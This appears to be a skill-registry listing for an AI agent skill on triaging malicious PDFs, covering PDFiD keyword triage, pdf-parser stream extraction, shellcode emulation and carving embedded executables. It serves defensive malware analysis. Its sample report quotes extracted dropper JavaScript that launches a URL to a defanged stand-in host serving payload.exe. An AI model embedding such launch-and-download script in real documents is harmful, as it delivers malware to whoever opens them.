analyzing-pdf-malware-with-pdfid▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
| name | analyzing-pdf-malware-with-pdfid |
| description | 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage. ' |
| domain | cybersecurity |
| subdomain | malware-analysis |
| tags | - malware - PDF-analysis - document-malware - PDFiD - static-analysis |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - DE.AE-02 - RS.AN-03 - ID.RA-01 - DE.CM-01 |
Analyzing PDF Malware with PDFiD
When to Use
- A suspicious PDF attachment has been flagged by email security or reported by a user
- You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
- Triaging PDF documents before opening them in a sandbox or analysis environment
- Extracting embedded executables, scripts, or URLs from malicious PDF objects
- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities
Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.
Prerequisites
- Python 3.8+ with Didier Stevens' PDF tools installed (
pip install pdfid pdf-parser) - peepdf installed for interactive PDF analysis (
pip install peepdf) - pdftotext from poppler-utils for extracting text content safely
- YARA with PDF-specific rules for malware family identification
- Isolated analysis VM without a PDF reader installed (prevent accidental opening)
- CyberChef for decoding embedded Base64, hex, or deflate streams
Workflow
Step 1: Initial Triage with PDFiD
Scan the PDF for suspicious keywords and structures:
# Run PDFiD to identify suspicious elements
pdfid suspect.pdf
# Expected output analysis:
# /JS - JavaScript (HIGH risk)
# /JavaScript - JavaScript object (HIGH risk)
# /AA - Auto-Action triggered on open (HIGH risk)
# /OpenAction - Action on document open (HIGH risk)
# /Launch - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia - Flash content (MEDIUM risk)
# /ObjStm - Object stream (used for obfuscation)
# /URI - URL reference (contextual risk)
# /AcroForm - Interactive form (MEDIUM risk)
# Run with extra detail
pdfid -e suspect.pdf
# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
/JS, /JavaScript -> Embedded JavaScript code
/AA -> Automatic Action (triggers without user interaction)
/OpenAction -> Code runs when document is opened
/Launch -> Can launch external executables
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
MEDIUM RISK indicators:
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
/RichMedia -> Flash/multimedia (Flash exploits)
/AcroForm -> Form with possible submit action
/XFA -> XML Forms Architecture (complex attack surface)
LOW RISK indicators:
/ObjStm -> Object streams (obfuscation technique)
/URI -> External URL references
/Page -> Number of pages (context only)
Step 2: Parse PDF Structure with pdf-parser
Examine suspicious objects identified by PDFiD:
# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf
# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf
# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf
# List all objects with their types
pdf-parser --stats suspect.pdf
Step 3: Extract and Analyze Embedded JavaScript
Pull out JavaScript code from PDF objects:
# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf interactive commands for JS analysis:
# js_analyse - Extract and show all JavaScript code
# js_beautify - Format extracted JavaScript
# js_eval <object> - Evaluate JavaScript in sandboxed environment
# object <id> - Display object content
# rawobject <id> - Display raw object bytes
# stream <id> - Display decompressed stream
# offsets - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re
# Extract all streams and search for JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extract each JavaScript-containing object
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Object {obj_id} ===")
print(result.stdout[:2000])
Step 4: Analyze Embedded Shellcode
Extract and examine shellcode from PDF exploits:
# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin
# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86
Step 5: Extract Embedded Files and URLs
Pull out embedded executables and linked resources:
# Extract embedded files from PDF
import subprocess
import hashlib
# Find embedded file objects
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
data = f.read()
# Search for embedded PE files
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Verify PE signature
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"Embedded PE found at offset 0x{pos:X}")
# Extract (estimate size or use PE header)
embedded = data[pos:pos+100000] # Initial extraction
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extract URLs from PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
Step 6: Generate Analysis Report
Document all findings from the PDF analysis:
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families
Key Concepts
| Term | Definition |
|---|---|
| PDF Object | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |
| OpenAction | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |
| PDF Stream | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |
| FlateDecode | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents |
| ObjStm (Object Stream) | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |
| JBIG2 | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |
Tools & Systems
- PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
- pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
- peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
- QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
- scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls
Common Scenarios
Scenario: Triaging a Phishing PDF with Embedded JavaScript
Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.
Approach:
- Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
- Use pdf-parser to extract the OpenAction object and follow its reference chain
- Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
- Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
- Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
- Extract all URLs, IPs, and embedded files as IOCs
- Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)
Pitfalls:
- Opening the PDF in a standard reader instead of analyzing it with command-line tools
- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)
Output Format
PDF MALWARE ANALYSIS REPORT
==============================
File: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Size: 45,312 bytes
PDF Version: 1.7
PDFID TRIAGE
/JS: 1 [HIGH RISK]
/JavaScript: 1 [HIGH RISK]
/OpenAction: 1 [HIGH RISK]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OBFUSCATION]
SUSPICIOUS OBJECTS
Object 5: /OpenAction -> references Object 8
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12: /ObjStm containing objects 15-18
EXTRACTED JAVASCRIPT
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social engineering redirect, not exploit
EXTRACTED IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domains: malicious[.]com, fake-login[.]com
CLASSIFICATION
Type: Social Engineering (URL redirect)
CVE: None (no exploit code detected)
Risk: HIGH (downloads executable payload)
Family: Generic PDF Dropper
How to use analyzing-pdf-malware-with-pdfid on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add analyzing-pdf-malware-with-pdfid
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches analyzing-pdf-malware-with-pdfid from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate analyzing-pdf-malware-with-pdfid. Access the skill through slash commands (e.g., /analyzing-pdf-malware-with-pdfid) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★53 reviews- ★★★★★Amelia Jackson· Dec 24, 2024
Solid pick for teams standardizing on skills: analyzing-pdf-malware-with-pdfid is focused, and the summary matches what you get after install.
- ★★★★★Xiao Verma· Dec 20, 2024
analyzing-pdf-malware-with-pdfid has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Pratham Ware· Dec 12, 2024
Keeps context tight: analyzing-pdf-malware-with-pdfid is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Arya Perez· Dec 12, 2024
Useful defaults in analyzing-pdf-malware-with-pdfid — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Alexander Okafor· Nov 15, 2024
I recommend analyzing-pdf-malware-with-pdfid for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Sophia Chen· Nov 11, 2024
Useful defaults in analyzing-pdf-malware-with-pdfid — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Diya Li· Nov 7, 2024
We added analyzing-pdf-malware-with-pdfid from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Sakshi Patil· Nov 3, 2024
Registry listing for analyzing-pdf-malware-with-pdfid matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Kabir Srinivasan· Nov 3, 2024
analyzing-pdf-malware-with-pdfid has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Arya Gonzalez· Nov 3, 2024
analyzing-pdf-malware-with-pdfid fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 53